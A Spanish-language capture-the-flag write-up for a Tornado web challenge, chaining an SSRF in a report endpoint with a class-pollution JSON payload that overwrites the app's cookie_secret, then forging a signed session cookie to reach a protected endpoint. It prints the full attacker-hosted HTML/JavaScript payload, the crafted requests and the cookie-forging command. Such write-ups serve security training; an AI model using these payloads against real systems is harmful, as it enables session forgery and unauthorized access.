Challenge TornadoService
Este reto consiste en explotar una vulnerabilidad de Server-Side Request Forgery (SSRF) en la funcionalidad de reporte y la solución consiste en utilizar un payload de Class Pollution alojado externamente para alterar el valor de cookie_secret de la aplicación, falsificando una cookie de sesión válida para acceder al endpoint protegido y obtener la flag.
El análisis del desafío comienza al revisar el código fuente de main.py, donde se identifica la clase UpdateTornadoHandler que altera el estado de las máquinas. Este controlador está protegido por la verificación is_request_from_localhost, la cual restringe el acceso únicamente a solicitudes provenientes de 127.0.0.1 o ::1.
def post(self):
self.set_header("Content-Type", "application/json")
if not is_request_from_localhost(self):
self.set_status(403)
self.write(json_response("Only localhost can update tornado status.", "Forbidden", error=True))
return
try:
data = json.loads(self.request.body)
machine_id = data.get("machine_id")
for tornado in self.tornados:
if tornado.machine_id == machine_id:
update_tornados(data, tornado)
self.write(json_response(f"Status updated for {machine_id}", "Update"))
return
self.set_status(404)
self.write(json_response("Machine not found", "Not Found", error=True))
except json.JSONDecodeError:
self.set_status(400)
self.write(json_response("Invalid JSON", "Bad Request", error=True))
def is_request_from_localhost(handler):
if handler.request.remote_ip in ["127.0.0.1", "::1"]:
return True
return False
Al examinar la clase ReportTornadoHandler, se descubre que el parámetro ip es concatenado para formar una URL que apunta a /agent_details. Sin embargo, la lógica de concatenación puede evadirse para consultar endpoints arbitrarios, introduciendo una vulnerabilidad de Server-Side Request Forgery (SSRF).
class ReportTornadoHandler(BaseHandler):
def initialize(self, tornados):
self.tornados = tornados
def get(self):
self.set_header("Content-Type", "application/json")
ip_param = self.get_argument("ip", None)
tornado_url = f"http://{ip_param}/agent_details"
if ip_param and is_valid_url(tornado_url):
bot_thread(tornado_url)
self.write(json_response(f"Tornado: {ip_param}, has been reported", "Reported"))
else:
self.set_status(400)
self.write(json_response("IP parameter is required", "Bad Request", error=True))
Para acceder al endpoint protegido /stats, se requiere una sesión válida. Los usuarios y sus respectivas contraseñas se generan de forma aleatoria, lo que vuelve inviable un ataque de fuerza bruta.
USERS = [
{
"username": "lean@tornado-service.htb",
"password": generate(32),
},
{
"username": "xclow3n@tornado-service.htb",
"password": generate(32),
},
{
"username": "makelaris@tornado-service.htb",
"password": generate(32),
}
]
Por otro lado, la función update_tornados en general.py fusiona objetos de forma recursiva. Este patrón de desarrollo es vulnerable a Class Pollution, lo cual puede aprovecharse para sobrescribir la configuración de la aplicación.
def update_tornados(tornado, updated):
for index, value in tornado.items():
if hasattr(updated, "__getitem__"):
if updated.get(index) and type(value) == dict:
update_tornados(value, updated.get(index))
else:
updated[index] = value
elif hasattr(updated, index) and type(value) == dict:
update_tornados(value, getattr(updated, index))
else:
setattr(updated, index, value)
La inicialización de la aplicación configura un cookie_secret utilizando un valor generado aleatoriamente. Si este secreto es sobrescrito mediante la vulnerabilidad de Class Pollution, es posible falsificar cookies de sesión de forma arbitraria.
def make_app():
settings = {
"static_path": os.path.join(os.path.dirname(__file__), "static"),
"cookie_secret": generate(32),
"default_handler_class": NotFoundHandler,
"autoreload": True
}
return tornado.web.Application([
(r"/", IndexHandler),
(r"/get_tornados", GetTornadosHandler, dict(tornados=TORNADOS)),
(r"/update_tornado", UpdateTornadoHandler, dict(tornados=TORNADOS)),
(r"/report_tornado", ReportTornadoHandler, dict(tornados=TORNADOS)),
(r"/login", LoginHandler),
(r"/stats", ProtectedContentHandler),
(r".*", NotFoundHandler),
], **settings)
Para ejecutar la explotación, se construye un archivo HTML malicioso que contiene JavaScript. Dicho script realiza una petición POST hacia http://localhost:1337/update_tornado desde el contexto del bot SSRF, modificando el APP.settings.cookie_secret global por "pwned" a través de los atributos __class__, __init__ y __globals__.
$ cat exploit/exploit.html
<!DOCTYPE html>
<html>
<head>
<title>Exploit SSRF</title>
</head>
<body>
<script>
fetch("http://localhost:1337/update_tornado", {
method: "POST",
mode: "no-cors",
headers: {
"Content-Type": "text/plain"
},
body: JSON.stringify({
"machine_id": "host-4455",
"status": "XD",
"__class__": {
"__init__": {
"__globals__": {
"APP": {
"settings": {
"cookie_secret": "pwned"
}
}
}
}
}
})
})
.then(res => console.log("Blind payload sent"))
.catch(err => console.error("Error:", err));
</script>
</body>
</html>
El payload es alojado en un servidor externo y se verifica que se encuentre accesible.
$ curl -X GET https://attacker.github.io/TornadoService/exploit.html
<!DOCTYPE html>
<html>
<head>
<title>Exploit SSRF</title>
</head>
<body>
<script>
fetch("http://localhost:1337/update_tornado", {
method: "POST",
mode: "no-cors",
headers: {
"Content-Type": "text/plain"
},
body: JSON.stringify({
"machine_id": "host-4455",
"status": "XD",
"__class__": {
"__init__": {
"__globals__": {
"APP": {
"settings": {
"cookie_secret": "pwned"
}
}
}
}
}
})
})
.then(res => console.log("Blind payload sent"))
.catch(err => console.error("Error:", err));
</script>
</body>
</html>
La vulnerabilidad SSRF se detona al reportar la URL maliciosa hacia el endpoint /report_tornado, agregando el carácter ? para descartar la ruta /agent_details que se añade de manera fija en el código.
GET /report_tornado?ip=attacker.github.io/TornadoService/exploit.html? HTTP/1.1
Host: 154.57.164.64:30811
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: */*
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Referer: http://154.57.164.64:30811/
Sec-GPC: 1
Connection: keep-alive
Priority: u=0
El servidor confirma que la URL ha sido procesada por el bot.
HTTP/1.1 200 OK
Server: TornadoServer/6.4.1
Content-Type: application/json
Date: Mon, 06 Jul 2026 16:04:37 GMT
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Headers: Content-Type, Authorization, x-requested-with
Etag: "2c61a315e8741964aa4244c9fc146a25d171744f"
Content-Length: 140
{
"success": {
"type": "Reported",
"message": "Tornado: attacker.github.io/TornadoService/exploit.html?, has been reported"
}
}
Con el cookie_secret modificado de manera predecible a "pwned", se crea un entorno virtual de Python para generar una cookie de sesión válida correspondiente al usuario makelaris@tornado-service.htb.
$ python3 -m venv venv
$ source venv/bin/activate
$ pip install tornado==6.4.1
Collecting tornado==6.4.1
Using cached tornado-6.4.1-cp38-abi3-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl.metadata (2.5 kB)
Using cached tornado-6.4.1-cp38-abi3-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl (436 kB)
Installing collected packages: tornado
Successfully installed tornado-6.4.1
Un breve script de Python emplea el módulo tornado.web para construir la cookie de sesión falsificada.
$ python3 -c "import tornado.web; print(tornado.web.create_signed_value('pwned', 'user', 'makelaris@tornado-service.htb').decode('utf-8'))"
2|1:0|10:1783353960|4:user|40:bWFrZWxhcmlzQHRvcm5hZG8tc2VydmljZS5odGI=|1016fc8098777e9e3ceffa03f7f33f7bce9b48bbfe3115e6ce4faa874a242369
Utilizando el token falsificado, se envía una solicitud al endpoint /stats para obtener la flag.
GET /stats HTTP/1.1
Host: 154.57.164.64:30811
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Sec-GPC: 1
Connection: keep-alive
Cookie: user=2|1:0|10:1783353960|4:user|40:bWFrZWxhcmlzQHRvcm5hZG8tc2VydmljZS5odGI=|1016fc8098777e9e3ceffa03f7f33f7bce9b48bbfe3115e6ce4faa874a242369
Upgrade-Insecure-Requests: 1
Priority: u=0, i
La aplicación autentica la solicitud con éxito, revelando la flag final.
HTTP/1.1 200 OK
Server: TornadoServer/6.4.1
Content-Type: application/json
Date: Mon, 06 Jul 2026 16:08:29 GMT
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Headers: Content-Type, Authorization, x-requested-with
Etag: "5fab7d2b46e53c3d5a17e2a984ec08a52943c3d7"
Content-Length: 82
{
"success": {
"type": "Success",
"message": "HTB{FLAG}"
}
}